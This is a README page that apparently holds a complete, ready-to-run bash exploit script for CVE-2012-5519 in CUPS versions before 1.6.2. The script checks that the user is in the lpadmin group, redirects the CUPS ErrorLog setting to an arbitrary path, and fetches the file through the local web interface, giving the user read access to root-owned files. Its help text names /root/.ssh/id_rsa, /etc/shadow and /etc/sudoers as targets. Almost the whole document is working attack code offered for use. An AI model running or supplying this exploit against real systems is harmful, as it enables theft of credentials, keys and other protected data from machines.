README.md
Rendering markdown...
#!/usr/bin/env bash
# exploit title: cups-root-file-read.sh
# author: p1ckzi
# github: https://github.com/p1ckzi
# twitter: @p1ckzi
# vendor home: https://www.cups.org/
# vulnerable software and version: CUPS < 1.6.2
# tested on: Ubuntu 20.04.3 LTS | CUPS 1.6.1
# cve: 2012-5519
# osvdb: 87635
#
# description:
# this script exploits a vulnerability in CUPS (common UNIX printing system)
# < 1.6.2. CUPS allows users within the lpadmin group to make changes to the
# cupsd.conf file, with the cupsctl command. this command also allows the user
# to specify an ErrorLog path. when the user visits the
# '/admin/log/error_log page', the cupsd daemon running with an SUID of root
# reads the ErrorLog path and echoes it in plain text.
# in short, files owned by the root user can be read if the ErrorLog path is
# directed there.
#
# the script checks if the vulnerability exists, and if the current user has the
# ability to exploit it, and if the needed commands within the script are
# available. after passing these checks the user is provided with an interactive
# prompt where they can input an absolute path to files they want to read.
# some error handling for debugging, if needed.
set -o errexit
set -o nounset
#set -o xtrace
set -o pipefail
# magic variables. main use is for debugging, if needed.
#__dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
#__file="${__dir}/$(basename "${BASH_SOURCE[0]}")"
#__base="$(basename ${__file} .sh)"
#__root="$(cd "$(dirname "${__dir}")" && pwd)"
#arg1="${1:-}"
# more terminal types can be added/changed/turned off if needed.
# again, assumption is made that the script is being run though a limited shell,
# possibly over something like netcat.
#TERM=linux
TERM=xterm
# used for printing colours and information boxes for readability.
readability(){
# colours.
C1=$(tput setaf 1)
C2=$(tput setaf 2)
C3=$(tput setaf 3)
C4=$(tput setaf 4)
C0=$(tput sgr0)
# information boxes.
I1=$(printf "[!] ")
I2=$(printf "[+] ")
I3=$(printf "[>] ")
I4=$(printf "[i] ")
}
# removes colours and information boxes for accessibility.
accessibility(){
# colours.
C1=$(tput sgr0)
C2=$(tput sgr0)
C3=$(tput sgr0)
C4=$(tput sgr0)
C0=$(tput sgr0)
# information boxes.
I1=''
I2=''
I3=''
I4=''
}
# script is interactive only. die(), print_help(), and parse_commandline() are
# used to make sure that nothing else is passed to the script.
die()
{
local _ret="${2:-1}"
[[ ${_PRINT_HELP:-no} == yes ]] && print_help >&2
printf "%s" >&2 "$1"
exit "${_ret}"
}
print_help()
{
printf "\n%s does not require any arguments to run." "$0"
printf "\nit is currently interactive only."
printf "\nusage: %s [-a|--accessible] [-h|--help]" "$0"
printf '\n\t-a, --accessible: turns off features which may negatively affect'
printf '\n\tscreen readers.'
printf '\n\t-h, --help: prints this dialog message.'
printf '\nafter passing all the required checks for the exploit,'
printf '\nthe user will be prompted for input.'
printf '\ntype in the full path to a file to read it.'
printf '\neg.'
printf '\n\t1. /root/.ssh/id_rsa'
printf '\n\t2. /root/.bash_history'
printf '\n\t3. /etc/shadow etc...'
printf '\n'
}
parse_commandline()
{
while [[ $# -gt 0 ]]; do
_key="$1"
case "$_key" in
-a|--accessible)
accessibility
small_banner
main
;;
-a*)
_PRINT_HELP=yes die "'$1' is not a valid argument." 1
exit 0
;;
-h|--help)
print_help
exit 0
;;
-h*)
print_help
exit 0
;;
*)
_PRINT_HELP=yes die "'$1' is not a valid argument." 1
;;
esac
shift
done
}
small_banner(){
printf "cups-root-file-read.sh"
printf "\na bash implementation of CVE-2012-5519 for linux."
}
banner(){
printf "%s" "${C1}"
printf " _"
printf "\n ___ _ _ _ __ ___ _ __ ___ ___ | |_"
printf "\n / __| | | | '_ \/ __|_____| '__/ _ \ / _ \| __|____"
printf "\n| (__| |_| | |_) \__ \_____| | | (_) | (_) | ||_____|"
printf "\n \___|\__,_| .__/|___/ |_| \___/ \___/ \__|%s" "${C3}"
printf "\n / _(_) | _%s|_|%s _ __ ___ __ _ __| | ___| |__" "${C1}"\
"${C3}"
printf "\n| |_| | |/ _ \_____| '__/ _ \/ _\` |/ _\` | / __| '_ \ "
printf "\n| _| | | __/_____| | | __/ (_| | (_| |_\__ \ | | |"
printf "\n|_| |_|_|\___| |_| \___|\__,_|\__,_(_)___/_| |_|%s" "${C0}"
printf "\na bash implementation of CVE-2012-5519 for linux."
}
# main requirement. checks for the 'cupsctl' command and exits if unavailable.
check_cupsctl(){
printf "\n%schecking for cupsctl command..." "${I4}"
if ! command -v cupsctl &> /dev/null; then
printf "%s\n%scupsctl could not be found. exiting.%s" "${C1}" "${I1}"\
"${C0}"
exit 0
else
printf "%s\n%scupsctl binary found in path.%s" "${C2}" "${I2}" "${C0}"
fi
}
# checks if the 'cups-config' command is available to the current user
# and which version of CUPS is running.
check_cups_version(){
printf "\n%schecking cups version..." "${I4}"
local check_version
check_version=$(cups-config --version)
local required_version='1.6.2'
if [[ $(printf '%s\n' "$required_version" "$check_version"\
| sort --version-sort\
| head --lines=1) == "$required_version" ]]; then
printf "%s\n%susing cups %s. " "${C3}" "${I1}" "${check_version}"
printf "exploit may not work...%s" "${C0}"
else
printf "%s\n%susing cups %s. " "${C2}" "${I2}" "${check_version}"
printf "version may be vulnerable.%s" "${C0}"
fi
}
# uses the 'groups' command to check if user is in lpadmin group
# and exits if not.
check_lpadmin(){
printf "\n%schecking user %s in lpadmin group..." "${I4}" "${USER}"
local group
group=$(groups)
local lpadmin='lpadmin'
if [[ $group != *$lpadmin* ]]; then
printf "%s\n%suser %s not part of lpadmin group. exiting.%s" "${C1}"\
"${I1}" "${USER}" "${C0}"
exit 0
elif [[ $USER == "root" ]]; then
printf "\n%sit appears you're already root!" "${I4}"
printf "\n%syou probably don't need this exploit to view system files."\
"${I4}"
else
printf "%s\n%suser part of lpadmin group.%s" "${C2}" "${I2}" "${C0}"
fi
}
# checks for the 'curl' command.
check_curl(){
printf "\n%schecking for curl command..." "${I4}"
if ! command -v curl &> /dev/null; then
printf "%s\n%scurl could not be found. exiting.%s" "${C1}" "${I1}" "${C0}"
exit 0
else
printf "%s\n%scurl binary found in path.%s" "${C2}" "${I2}" "${C0}"
fi
}
# informs the user if an invalid absolute path is submitted.
invalid_argument(){
printf "%s" "${C3}"
printf "%s'%s' is not a valid file path or command.%s" "${I1}"\
"${interactive}" "${C0}"
printf "\n"
exploit_help
}
exploit_info(){
printf "%sexploit info:" "${I4}"
printf "\n%sthis script exploits a vulnerability in CUPS (common UNIX printing"\
"${I4}"
printf "\n%ssystem < 1.6.2. CUPS allows users within the lpadmin group to make"\
"${I4}"
printf "\n%schanges to the cupsd.conf file, with the cupsctl command. this also"\
"${I4}"
printf "\n%sallows the user to specify an ErrorLog path. when the user visits"\
"${I4}"
printf "\n%sthe '/admin/log/error_log' page, the cupsd daemon running with an"\
"${I4}"
printf "\n%sSUID of root reads the ErrorLog path and echoes it in plain text."\
"${I4}"
printf "\n%sin short, files owned by the root user can be read if the ErrorLog"\
"${I4}"
printf "\n%spath is directed there." "${I4}"
external_help
}
exploit_help(){
printf "%susage:" "${I4}"
printf "\n\tinput must be an absolute path to an existing file."
printf "\n\teg."
printf "\n\t1. /root/.ssh/id_rsa"
printf "\n\t2. /root/.bash_history"
printf "\n\t3. /etc/shadow"
printf "\n\t4. /etc/sudoers ... etc."
printf "\n%s%s commands:" "${I4}" "$0"
printf "\n\ttype 'info' for exploit details."
printf "\n\ttype 'help' for this dialog text."
printf "\n\ttype 'quit' to exit the script."
external_help
}
external_help(){
printf "\n%sfor more information on the limitations" "${I4}"
printf "\n%sof the script and exploit, please visit:" "${I4}"
printf "\n%shttps://github.com/0zvxr/CVE-2012-5519/blob/main/README.md"\
"${I4}"
}
# creates a crude backup of the two directives that might need changing during
# the exploit. Reverts to them after reading from file or sets them to nothing
# if the directives were not set to begin with.
backup_cupsd(){
prev_webint=$(cupsctl | grep "WebInterface=" || true)
prev_errlog=$(cupsctl | grep "ErrorLog=" || true)
if [[ -z $prev_webint ]]; then
prev_webint='WebInterface='
else
true
fi
if [[ -z $prev_errlog ]]; then
prev_errlog='ErrorLog='
else
true
fi
}
# main part of script after passing initial checks - user prompt in while loop.
# displays warnings about the effects on system files as a result of running the
# exploit. attempts to handle unexpected information submitted by the user such
# as missing arguments, and errors from the server such as 404 status codes as a
# result of failing to include the path for the 'cupsctl ErrorLog=' command or
# unusual information that does not resemble a /path/to/file submission.
# also creates a crude backup of cupsctl directives that may need changing
# during exploitation.
interactive(){
printf "%s\n%sall checks passed.%s" "${C2}" "${I2}" "${C0}"
printf "%s\n\n%swarning!: this script will set the group ownership of"\
"${C3}" "${I1}"
printf "\n%sviewed files to user '%s'." "${I1}" "${USER}"
printf "\n%sfiles will be created as root and with group ownership of" "${I1}"
printf "\n%suser '%s' if a nonexistant file is submitted." "${I1}" "${USER}"
printf "\n%schanges will be made to /etc/cups/cups.conf file as part of the"\
"${I1}"
printf "\n%sexploit. it may be wise to backup this file or copy its contents"\
"${I1}"
printf "\n%sbefore running the script any further if this is a production"\
"${I1}"
printf "\n%senvironment and/or seek permissions beforehand." "${I1}"
printf "\n%sthe nature of this exploit is messy even if " "${I1}"
printf "you know what you're looking for.%s" "${C0}"
printf "\n\n"
exploit_help
backup_cupsd
while true; do
printf "%s\n%s%s" "${C4}" "${I3}" "${C0}"
read -r -e -p "" interactive
case "$interactive" in
info)
exploit_info
;;
help)
exploit_help
;;
quit)
printf "%squitting %s.\n" "${I4}" "$0"
exit 0
;;
*)
# regex check to make sure the submission resembles a file path.
valid_filepath='^(/[^/ ]*)+/?$'
if ! [[ $interactive =~ $valid_filepath ]]\
|| [[ $interactive == */ ]]; then
invalid_argument
else
# passing a directory as an argument, such as '/tmp' or '/tmp/ '
# results in a 404 status code. the user is informed instead of
# passing the html contents to the user.
cupsctl WebInterface=Yes\
&& cupsctl ErrorLog="$interactive"\
&& user_input=$(curl --head --silent\
http://localhost:631/admin/log/error_log)
if [[ $user_input == *"404"* ]]; then
printf "%s%sthe server is returning a 404 status code." "${C3}"\
"${I1}"
printf "\n%syour input may contain a nonexistent directory or perhaps"\
"${I1}"
printf "\n%syou have pointed towards a directory instead of a file.%s"\
"${I1}" "${C0}"
printf "\n%stype 'help' for examples, or" "${I4}"
external_help
else
# if all conditions are met but the contents of the file are blank,
# the user is informed the file may have been generated by the
# exploit. cleaning up may be required for these types of files.
user_input=$(curl --silent http://localhost:631/admin/log/error_log)
if [[ -z $user_input ]]; then
printf "%s%sthe file at %s is empty." "${C3}" "${I1}"\
"${interactive}"
printf "\n%sit may have been created by this exploit if it is new.%s"\
"${I1}" "${C0}"
external_help
else
# if all conditions are met, the contents of the file are displayed
# to the user.
printf "%s%scontents of %s:%s" "${C2}" "${I2}" "${interactive}"\
"${C0}"
printf "\n%s" "${user_input}"
fi
cupsctl "$prev_webint"
cupsctl "$prev_errlog"
fi
fi
;;
esac
done
}
# checks conditions required to run the exploit script and for user to reach the
# main interactive function.
all_checks(){
printf "\n\n%sperforming checks..." "${I4}"
check_cupsctl
check_cups_version
check_lpadmin
check_curl
}
# holds all other functions.
main(){
all_checks
interactive
}
parse_commandline "$@"
readability
banner
main